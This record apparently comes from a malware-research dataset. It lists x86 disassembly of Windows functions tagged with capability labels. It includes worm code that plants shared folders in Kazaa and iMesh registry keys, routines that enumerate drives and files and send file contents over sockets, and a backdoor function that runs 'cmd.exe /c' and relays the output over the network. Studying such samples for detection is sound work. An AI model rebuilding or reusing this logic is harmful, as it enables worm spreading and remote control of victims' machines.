joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401e43
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x400
mov eax, dword [0x409568]
mov dword [ebp - 0xc], eax
mov ecx, dword [0x40956c]
mov dword [ebp - 8], ecx
mov dx, word [0x409570]
mov word [ebp - 4], dx
mov byte [ebp - 0x3f8], 0x43
mov dword [ebp - 0x3fc], 0
lea eax, [ebp - 0x400]
push eax
push str.SOFTWAREKazaaLocalContent
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
cmp dword [ebp - 0x400], 0
jne 0x401e9e
jmp 0x401fbe
mov ecx, dword [0x409f18]
mov edx, dword [ecx]
push edx
push 0x409590
lea eax, [ebp - 0x3f4]
push eax
call fcn.00402614
add esp, 0xc
lea ecx, [ebp - 0x3f4]
push ecx
call fcn.00402200
add esp, 4
push eax
lea edx, [ebp - 0x3f4]
push edx
push 1
push 0
push 0x40959c
mov eax, dword [ebp - 0x400]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea ecx, [ebp - 0x3fc]
push ecx
push 4
push 0
push 0x4095a4
mov edx, dword [ebp - 0x400]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov byte [ebp - 0x3f8], 0x43
jmp 0x401f1e
mov al, byte [ebp - 0x3f8]
add al, 1
mov byte [ebp - 0x3f8], al
movsx ecx, byte [ebp - 0x3f8]
cmp ecx, 0x5a
jge 0x401f7d
mov dl, byte [ebp - 0x3f8]
mov byte [ebp - 5], dl
movsx eax, byte [ebp - 0x3f8]
sub eax, 0x42
push eax
push 0x4095b4
lea ecx, [ebp - 0x3f4]
push ecx
call fcn.00402614
add esp, 0xc
lea edx, [ebp - 0xc]
push edx
call fcn.00402200
add esp, 4
push eax
lea eax, [ebp - 0xc]
push eax
push 1
push 0
lea ecx, [ebp - 0x3f4]
push ecx
mov edx, dword [ebp - 0x400]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
jmp 0x401f10
mov eax, dword [ebp - 0x400]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x400]
push ecx
push str.SOFTWAREKazaaUserDetails
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
push 0x16
push 0x4095d8
push 1
push 0
push 0x4095f0
mov edx, dword [ebp - 0x400]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov esp, ebp
pop ebp
ret
Function at 0x401fc2
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x400
mov eax, dword [str.012345:_:]
mov dword [ebp - 0xc], eax
mov ecx, dword [0x4095fc]
mov dword [ebp - 8], ecx
mov dx, word [0x409600]
mov word [ebp - 4], dx
mov byte [ebp - 0x3f8], 0x43
mov dword [ebp - 0x3fc], 0
lea eax, [ebp - 0x400]
push eax
push str.SOFTWAREIMeshClientLocalContent
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
cmp dword [ebp - 0x400], 0
jne 0x40201d
jmp 0x40213d
mov ecx, dword [0x409f18]
mov edx, dword [ecx]
push edx
push str.012345:_s
lea eax, [ebp - 0x3f4]
push eax
call fcn.00402614
add esp, 0xc
lea ecx, [ebp - 0x3f4]
push ecx
call fcn.00402200
add esp, 4
push eax
lea edx, [ebp - 0x3f4]
push edx
push 1
push 0
push str.Dir0
mov eax, dword [ebp - 0x400]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea ecx, [ebp - 0x3fc]
push ecx
push 4
push 0
push str.DisableSharing
mov edx, dword [ebp - 0x400]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov byte [ebp - 0x3f8], 0x43
jmp 0x40209d
mov al, byte [ebp - 0x3f8]
add al, 1
mov byte [ebp - 0x3f8], al
movsx ecx, byte [ebp - 0x3f8]
cmp ecx, 0x5a
jge 0x4020fc
mov dl, byte [ebp - 0x3f8]
mov byte [ebp - 5], dl
movsx eax, byte [ebp - 0x3f8]
sub eax, 0x42
push eax
push str.Dir_d
lea ecx, [ebp - 0x3f4]
push ecx
call fcn.00402614
add esp, 0xc
lea edx, [ebp - 0xc]
push edx
call fcn.00402200
add esp, 4
push eax
lea eax, [ebp - 0xc]
push eax
push 1
push 0
lea ecx, [ebp - 0x3f4]
push ecx
mov edx, dword [ebp - 0x400]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
jmp 0x40208f
mov eax, dword [ebp - 0x400]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x400]
push ecx
push str.SOFTWAREIMeshClientUserDetails
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
push 0x16
push str.QueBonito_Compartir.es
push 1
push 0
push str.Email
mov edx, dword [ebp - 0x400]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov esp, ebp
pop ebp
ret
Function at 0x40516d
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x409758
cmp edx, dword [eax]
je 0x40518f
add eax, 8
inc ecx
cmp eax, 0x4097e8
jl 0x405180
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x409758]
jne 0x4052bd
mov eax, dword [0x409f30]
cmp eax, 1
je 0x405297
test eax, eax
jne 0x4051c0
cmp dword [0x4096a4], 1
je 0x405297
cmp edx, 0xfc
je 0x4052bd
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x4051f7
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.00402280
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00402200
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x40523a
lea eax, [ebp - 0x1a4]
push eax
call fcn.00402200
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x40743c
push edi
call fcn.004062f0
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.00402280
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00402290
lea eax, [ebp - 0xa0]
push 0x40741c
push eax
call fcn.00402290
push dword [esi + 0x40975c]
lea eax, [ebp - 0xa0]
push eax
call fcn.00402290
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.00406267
add esp, 0x2c
pop edi
jmp 0x4052bd
lea eax, [ebp + 8]
lea esi, [esi + 0x40975c]
push 0
push eax
push dword [esi]
call fcn.00402200
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x401000
Capabilities:
Delete file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x100c
call fcn.00404300
mov byte [ebp - 9], 0
push 0x4062d8
lea eax, [ebp + 0x10]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
add esp, 8
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x401033
xor al, al
jmp 0x401194
mov dword [ebp - 4], 0
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 0x90]
jae 0x401185
mov edx, dword [ebp + 0x90]
sub edx, dword [ebp - 4]
cmp edx, 0x1000
jbe 0x4010ee
push 0
push 0
push 0x1000
lea eax, [ebp - 0x100c]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.004018d0
test eax, eax
jne 0x40109b
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
lea eax, [ebp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
xor al, al
jmp 0x401194
mov ecx, dword [ebp - 8]
push ecx
push 0x1000
push 1
lea edx, [ebp - 0x100c]
push edx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
cmp eax, 0x1000
je 0x4010dd
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
lea ecx, [ebp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
xor al, al
jmp 0x401194
mov edx, dword [ebp - 4]
add edx, 0x1000
mov dword [ebp - 4], edx
jmp 0x401180
push 0
push 0
mov eax, dword [ebp + 0x90]
sub eax, dword [ebp - 4]
push eax
lea ecx, [ebp - 0x100c]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.004018d0
test eax, eax
jne 0x40112d
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
lea ecx, [ebp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
xor al, al
jmp 0x401194
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp + 0x90]
sub eax, dword [ebp - 4]
push eax
push 1
lea ecx, [ebp - 0x100c]
push ecx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
mov edx, dword [ebp + 0x90]
sub edx, dword [ebp - 4]
cmp eax, edx
je 0x401177
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
lea ecx, [ebp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
xor al, al
jmp 0x401194
mov edx, dword [ebp + 0x90]
mov dword [ebp - 4], edx
jmp 0x40103a
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
mov al, 1
mov esp, ebp
pop ebp
ret 0xbc
Function at 0x4011a0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x100c
call fcn.00404300
push 0x4062dc
lea eax, [ebp + 0x10]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
add esp, 8
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x4011cf
xor al, al
jmp 0x4012ba
mov dword [ebp - 8], 0
push 2
push 0
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
add esp, 0xc
test eax, eax
je 0x4011ff
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
xor al, al
jmp 0x4012ba
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
add esp, 4
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x401229
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
xor al, al
jmp 0x4012ba
push 0
push 0
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
add esp, 0xc
test eax, eax
je 0x40124f
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
xor al, al
jmp 0x4012ba
mov ecx, dword [ebp - 8]
mov dword [ebp + 0x90], ecx
mov edx, dword [ebp - 4]
push edx
push 0x1000
push 1
lea eax, [ebp - 0x100c]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add esp, 0x10
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x4012ab
push 0
push 0
mov ecx, dword [ebp - 0xc]
push ecx
lea edx, [ebp - 0x100c]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.00401930
test eax, eax
jne 0x4012a9
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
xor al, al
jmp 0x4012ba
jmp 0x401258
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
mov al, 1
mov esp, ebp
pop ebp
ret 0xbc

Function at 0x4012c0
Capabilities:
Get file system object information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x35c
push esi
push edi
mov dword [ebp - 0xbc], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0x38], 0
mov eax, 1
imul ecx, eax, 0
mov byte [ebp + ecx - 0xb8], 0
mov edx, 1
imul eax, edx, 0
mov byte [ebp + eax - 0x2c], 0
lea ecx, [ebp - 0x1fc]
push ecx
mov edx, dword [ebp + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 4], eax
push 0x160
push 0
lea eax, [ebp - 0x35c]
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0x510
push 0x160
lea ecx, [ebp - 0x35c]
push ecx
push 0x80
lea edx, [ebp - 0x1d0]
push edx
call dword [sym.imp.SHELL32.dll_SHGetFileInfoA]
mov eax, dword [ebp + 0xc]
push eax
lea ecx, [ebp - 0xb8]
push ecx
call sub.api_ms_win_crt_string_l1_1_0.dll_strcpy
add esp, 8
imul edx, dword [ebp - 0x1e0], 0xffffffff
add edx, dword [ebp - 0x1dc]
mov dword [ebp - 0x38], edx
mov ecx, 0x2e
lea esi, [ebp - 0xbc]
mov edi, dword [ebp + 8]
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp + 8]
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
Function at 0x4013a0
Capabilities:
Enumerate files on windows
Get file system object information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x394
mov dword [ebp - 0xd4], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x50], 0
mov eax, 1
imul ecx, eax, 0
mov byte [ebp + ecx - 0xd0], 0
mov edx, 1
imul eax, edx, 0
mov byte [ebp + eax - 0x44], 0
lea ecx, [ebp - 0x234]
push ecx
mov edx, dword [ebp + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x401442
mov dword [ebp - 0xd4], 1
push str._
lea eax, [ebp - 0xd0]
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcpy
add esp, 8
mov dword [ebp - 0x20], 1
push 0
push 0
push 0xb8
lea ecx, [ebp - 0xd4]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.00401930
jmp 0x4015c8
push 0x160
push 0
lea eax, [ebp - 0x394]
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0x510
push 0x160
lea ecx, [ebp - 0x394]
push ecx
push 0x80
lea edx, [ebp - 0x208]
push edx
call dword [sym.imp.SHELL32.dll_SHGetFileInfoA]
lea eax, [ebp - 0x208]
push eax
lea ecx, [ebp - 0xd0]
push ecx
call sub.api_ms_win_crt_string_l1_1_0.dll_strcpy
add esp, 8
mov edx, dword [ebp - 0x234]
and edx, 0x10
je 0x4014a5
mov dword [ebp - 0x24], 1
jmp 0x4014ac
mov dword [ebp - 0x24], 0
imul eax, dword [ebp - 0x218], 0xffffffff
add eax, dword [ebp - 0x214]
shr eax, 0xa
add eax, 1
mov dword [ebp - 0x50], eax
lea ecx, [ebp - 0x1c]
push ecx
lea edx, [ebp - 0x220]
push edx
call dword [sym.imp.KERNEL32.dll_FileTimeToLocalFileTime]
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
movzx edx, word [ebp - 8]
push edx
movzx eax, word [ebp - 0xa]
push eax
movzx ecx, word [ebp - 0xc]
push ecx
movzx edx, word [ebp - 0xe]
push edx
movzx eax, word [ebp - 0x12]
push eax
movzx ecx, word [ebp - 0x14]
push ecx
push str._4d__02d__02d__02d:_02d:_02d
lea edx, [ebp - 0xf4]
push edx
call fcn.00401710
add esp, 0x20
lea eax, [ebp - 0xf4]
push eax
lea ecx, [ebp - 0x44]
push ecx
call sub.api_ms_win_crt_string_l1_1_0.dll_strcpy
add esp, 8
mov dword [ebp - 0x20], 1
push 0x4062d0
lea edx, [ebp - 0x208]
push edx
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
add esp, 8
test eax, eax
je 0x40155d
push 0x4062d4
lea eax, [ebp - 0x208]
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
add esp, 8
test eax, eax
jne 0x40155f
jmp 0x401585
push 0
push 0
push 0xb8
lea ecx, [ebp - 0xd4]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.00401930
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x12
jne 0x401585
jmp 0x40159e
lea eax, [ebp - 0x234]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x401442
mov dword [ebp - 0x20], 0
push 0
push 0
push 0xb8
lea edx, [ebp - 0xd4]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.00401930
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_FindClose]
mov esp, ebp
pop ebp
ret 8
Function at 0x4015d0
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov byte [ebp - 1], 0x41
jmp 0x4015f2
mov al, byte [ebp - 1]
add al, 1
mov byte [ebp - 1], al
movsx ecx, byte [ebp - 1]
cmp ecx, 0x5a
jg 0x4016d2
movsx edx, byte [ebp - 1]
push edx
push 0x406298
lea eax, [ebp - 8]
push eax
call fcn.00401710
add esp, 0xc
lea ecx, [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 3
jne 0x401653
lea edx, [ebp - 8]
push edx
lea eax, [ebp - 0x1c]
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcpy
add esp, 8
mov dword [ebp - 0x14], 3
push 0
push 0
push 0x10
lea ecx, [ebp - 0x1c]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.00401930
mov dword [ebp - 0xc], eax
jmp 0x4016cd
lea eax, [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 5
jne 0x401691
lea ecx, [ebp - 8]
push ecx
lea edx, [ebp - 0x1c]
push edx
call sub.api_ms_win_crt_string_l1_1_0.dll_strcpy
add esp, 8
mov dword [ebp - 0x14], 5
push 0
push 0
push 0x10
lea eax, [ebp - 0x1c]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.00401930
mov dword [ebp - 0xc], eax
jmp 0x4016cd
lea edx, [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 2
jne 0x4016cd
lea eax, [ebp - 8]
push eax
lea ecx, [ebp - 0x1c]
push ecx
call sub.api_ms_win_crt_string_l1_1_0.dll_strcpy
add esp, 8
mov dword [ebp - 0x14], 2
push 0
push 0
push 0x10
lea edx, [ebp - 0x1c]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.00401930
mov dword [ebp - 0xc], eax
jmp 0x4015ea
mov dword [ebp - 0x10], 1
push 0
push 0
push 0x10
lea ecx, [ebp - 0x1c]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.00401930
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret 4

Function at 0x4017b0
Capabilities:
Connect socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 0x10], eax
mov ecx, 2
mov word [ebp - 0x14], cx
movzx edx, word [ebp + 0x10]
push edx
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x12], ax
push 0x10
lea eax, [ebp - 0x14]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x4017f9
mov dword [ebp - 4], 0
jmp 0x401800
mov dword [ebp - 4], 1
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret 0xc

Function at 0x401810
Capabilities:
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 1
push 0
push 0
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_WSASocketA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x40183a
mov dword [ebp - 8], 0
jmp 0x401848
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 4]
mov dword [eax], ecx
mov edx, dword [ebp - 4]
mov dword [ebp - 8], edx
mov eax, 1
mov esp, ebp
pop ebp
ret 4
Function at 0x401860
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a0
mov dword [ebp - 0x10], 0
mov eax, 1
mov word [ebp - 4], ax
mov ecx, 2
mov word [ebp - 8], cx
movzx edx, word [ebp - 4]
and edx, 0xff
movzx eax, dl
movzx ecx, word [ebp - 8]
and ecx, 0xff
movzx edx, cl
shl edx, 8
or eax, edx
mov word [ebp - 0xc], ax
lea eax, [ebp - 0x1a0]
push eax
movzx ecx, word [ebp - 0xc]
push ecx
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x4018c4
xor eax, eax
jmp 0x4018c9
mov eax, 1
mov esp, ebp
pop ebp
ret

Function at 0x401930
Capabilities:
Create thread
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [ebp - 0x28], 0x14
mov eax, dword [ebp + 8]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
lea ecx, [ebp - 0x18]
push ecx
push 0
lea edx, [ebp - 0x28]
push edx
push 0x401af0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x40197b
or eax, 0xffffffff
jmp 0x401a88
mov dword [ebp - 8], 0xffffffff
cmp dword [ebp + 8], 0xffffffff
je 0x401a6e
mov eax, dword [ebp + 0x10]
add eax, 3
push eax
call fcn.0040432b
add esp, 4
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x10]
mov dword [ebp - 4], ecx
mov edx, dword [ebp + 0x10]
add edx, 3
push edx
push 0
mov eax, dword [ebp - 4]
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
movzx ecx, byte [ebp + 0x14]
test ecx, ecx
jne 0x4019fa
cmp dword [ebp + 0xc], 0
je 0x4019f1
cmp dword [ebp + 0x18], 1
jne 0x4019d6
mov edx, dword [ebp + 0x10]
add edx, 1
mov dword [ebp + 0x10], edx
mov eax, dword [ebp + 0x18]
push eax
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.WS2_32.dll_send]
mov dword [ebp - 8], eax
jmp 0x4019f8
mov dword [ebp - 8], 0
jmp 0x401a5c
mov ecx, 1
imul edx, ecx, 0
mov eax, dword [ebp - 4]
mov cl, byte [ebp + 0x14]
mov byte [eax + edx], cl
cmp dword [ebp + 0xc], 0
je 0x401a2a
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp - 4]
add ecx, 1
push ecx
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
jmp 0x401a31
mov dword [ebp + 0x10], 0
cmp dword [ebp + 0x18], 1
jne 0x401a40
mov edx, dword [ebp + 0x10]
add edx, 1
mov dword [ebp + 0x10], edx
mov eax, dword [ebp + 0x18]
push eax
mov ecx, dword [ebp + 0x10]
add ecx, 1
push ecx
mov edx, dword [ebp - 4]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.WS2_32.dll_send]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x14]
push edx
call fcn.00404334
add esp, 4
mov dword [ebp - 0x20], 1
cmp dword [ebp - 0x1c], 0
jne 0x401a85
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x401a75
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret 0x14
Function at 0x4021f0
Capabilities:
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Get common file path
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x99c
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
push 0x12c
push 0
lea eax, [ebp - 0x19c]
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0x800
push 0
lea ecx, [ebp - 0x99c]
push ecx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0xc
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x10], 1
push 0
lea edx, [ebp - 0x18]
push edx
lea eax, [ebp - 4]
push eax
lea ecx, [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x402278
jmp 0x402387
mov dword [ebp - 0x60], 0x44
lea edx, [ebp - 0x60]
push edx
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov eax, dword [ebp - 4]
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x24], ecx
xor edx, edx
mov word [ebp - 0x30], dx
mov dword [ebp - 0x34], 0x101
push 0x12c
lea eax, [ebp - 0x19c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push str.cmd.exe__c
lea ecx, [ebp - 0x19c]
push ecx
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
add esp, 8
mov edx, dword [ebp + 0xc]
push edx
lea eax, [ebp - 0x19c]
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
add esp, 8
lea ecx, [ebp - 0x70]
push ecx
lea edx, [ebp - 0x60]
push edx
push 0
push 0
push 0
push 1
push 0
push 0
lea eax, [ebp - 0x19c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x402309
jmp 0x402387
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, 1
test edx, edx
je 0x402376
push 0
lea eax, [ebp - 0xc]
push eax
push 0x800
lea ecx, [ebp - 0x99c]
push ecx
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x40233e
jmp 0x402376
push 0
push 0
mov eax, dword [ebp - 0xc]
push eax
lea ecx, [ebp - 0x99c]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.00401930
push 0x800
push 0
lea eax, [ebp - 0x99c]
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x402313
push 0
push 1
push 0
push 0
mov ecx, dword [ebp + 8]
push ecx
call fcn.00401930
cmp dword [ebp - 8], 0
je 0x402397
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 4], 0
je 0x4023a7
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov esp, ebp
pop ebp
ret